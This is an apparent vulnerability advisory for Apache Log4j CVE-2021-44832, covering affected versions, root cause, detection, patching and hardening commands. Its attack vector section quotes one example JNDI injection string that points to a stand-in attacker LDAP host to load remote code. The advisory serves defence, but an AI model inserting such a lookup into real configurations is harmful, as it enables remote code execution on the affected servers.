CVE-2021-44832: Apache Log4j RCE Vulnerability

CVE-2021-44832 Overview

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This vulnerability is part of the broader Log4Shell family of vulnerabilities that have severely impacted Java applications worldwide. The issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

Critical Impact

Attackers who can modify the Log4j configuration and have control of an LDAP server can achieve remote code execution on vulnerable systems using JDBC Appender configurations.

Affected Products

• Apache Log4j versions 2.0-beta7 through 2.17.0 (excluding 2.3.2 and 2.12.4)
• Oracle WebLogic Server (12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0)
• Oracle Primavera Gateway and Primavera P6 Enterprise Project Portfolio Management
• Cisco CloudCenter 4.10.0.16
• Oracle Communications Diameter Signaling Router
• Oracle Retail XStore Point of Service (multiple versions)
• Fedora Linux 34 and 35
• Debian Linux 9.0

Discovery Timeline

• 2021-12-28 - CVE-2021-44832 published to NVD
• 2024-11-21 - Last updated in NVD database

Technical Details for CVE-2021-44832

Vulnerability Analysis

CVE-2021-44832 represents a remote code execution vulnerability in Apache Log4j2's JDBC Appender functionality. Unlike the original Log4Shell vulnerability (CVE-2021-44228), this attack requires more constrained conditions: the attacker must be able to modify the Log4j configuration file and must have control of the target LDAP server referenced in that configuration.

The vulnerability exists because Log4j2's JDBC Appender accepts JNDI LDAP URIs for data source configuration without adequate protocol restrictions. When an attacker can inject a malicious JNDI LDAP lookup into the configuration, and the LDAP server is under attacker control, they can serve malicious Java objects that execute arbitrary code upon deserialization by the vulnerable application.

This attack requires elevated access compared to CVE-2021-44228, as configuration modification privileges are necessary. However, in environments where configuration files are dynamically loaded or stored in writable locations, this vulnerability can still pose significant risk.

Root Cause

The root cause is improper input validation (CWE-20) in the JDBC Appender's handling of JNDI data source names. Log4j2 failed to restrict the protocols that could be used in JNDI lookups for JDBC Appender data sources, allowing ldap://, ldaps://, and rmi:// URIs to be processed. When an attacker-controlled LDAP server receives these lookups, it can respond with serialized Java objects containing malicious payloads that execute upon deserialization in the target JVM.

Attack Vector

The attack requires a network-accessible path to exploit but has high complexity due to prerequisites: the attacker must first gain the ability to modify the Log4j configuration (through a separate vulnerability, misconfiguration, or insider access) and must operate a malicious LDAP server. Once these conditions are met, the attacker modifies the JDBC Appender configuration to point to their LDAP server:

The malicious configuration would include a JDBC Appender with a dataSource attribute containing a JNDI reference such as ${jndi:ldap://attacker-server.com:1389/Exploit}. When Log4j processes this configuration and attempts to connect to the specified data source, it performs a JNDI lookup against the attacker's LDAP server. The server responds with a reference to a remote Java class, which the JVM loads and instantiates, executing arbitrary code in the context of the vulnerable application.

Detection Methods for CVE-2021-44832

Indicators of Compromise

• Unusual LDAP or JNDI connections originating from Java applications to external servers
• Modified Log4j configuration files containing JNDI lookups in JDBC Appender dataSource attributes
• Java processes loading unexpected classes from remote URLs
• Network traffic to suspicious LDAP servers on non-standard ports (commonly 1389 or 1099)

Detection Strategies

• Monitor Log4j configuration files for unauthorized modifications, particularly changes to JDBC Appender sections
• Implement network monitoring to detect outbound LDAP/JNDI connections to external hosts
• Deploy file integrity monitoring on Log4j configuration files (log4j2.xml, log4j2.properties, log4j2.json)
• Use Java application instrumentation to log JNDI lookup attempts and flag external references

Monitoring Recommendations

• Configure SIEM rules to alert on JNDI lookup patterns in application logs and configuration changes
• Establish baseline network behavior for Java applications and alert on anomalous LDAP traffic
• Monitor for process spawning from Java applications that could indicate successful code execution
• Implement DNS monitoring to detect lookups to suspicious or newly registered domains

How to Mitigate CVE-2021-44832

Immediate Actions Required

• Upgrade Apache Log4j2 to version 2.17.1, 2.12.4, or 2.3.2 immediately
• Audit all Log4j configuration files for JDBC Appender usage with JNDI data sources
• Restrict write access to Log4j configuration files to prevent unauthorized modification
• Block outbound LDAP, LDAPS, and RMI connections from application servers where not required

Patch Information

Apache has released fixed versions that limit JNDI data source names to the java protocol only, preventing remote LDAP lookups. Apply the following patches based on your Log4j version branch:

• Log4j 2.17.1 - For applications using Log4j 2.x (Java 8+)
• Log4j 2.12.4 - For applications using Log4j 2.12.x (Java 7)
• Log4j 2.3.2 - For applications using Log4j 2.3.x (Java 6)

Consult the Apache JIRA Issue LOG4J2-3293 for technical details on the fix. For Oracle products, refer to Oracle CPU January 2022 and Oracle CPU April 2022 for vendor-specific patches.

Workarounds

• Remove JDBC Appender configurations that use JNDI data sources if they are not essential
• If JDBC Appender is required, configure data sources using direct connection parameters rather than JNDI lookups
• Apply strict filesystem permissions on Log4j configuration files (chmod 640 with appropriate ownership)
• Implement network-level egress filtering to block LDAP/LDAPS/RMI connections to external networks

# Example: Restrict access to Log4j configuration files
chmod 640 /path/to/log4j2.xml
chown root:appgroup /path/to/log4j2.xml

# Block outbound LDAP connections (example using iptables)
iptables -A OUTPUT -p tcp --dport 389 -j DROP
iptables -A OUTPUT -p tcp --dport 636 -j DROP
iptables -A OUTPUT -p tcp --dport 1389 -j DROP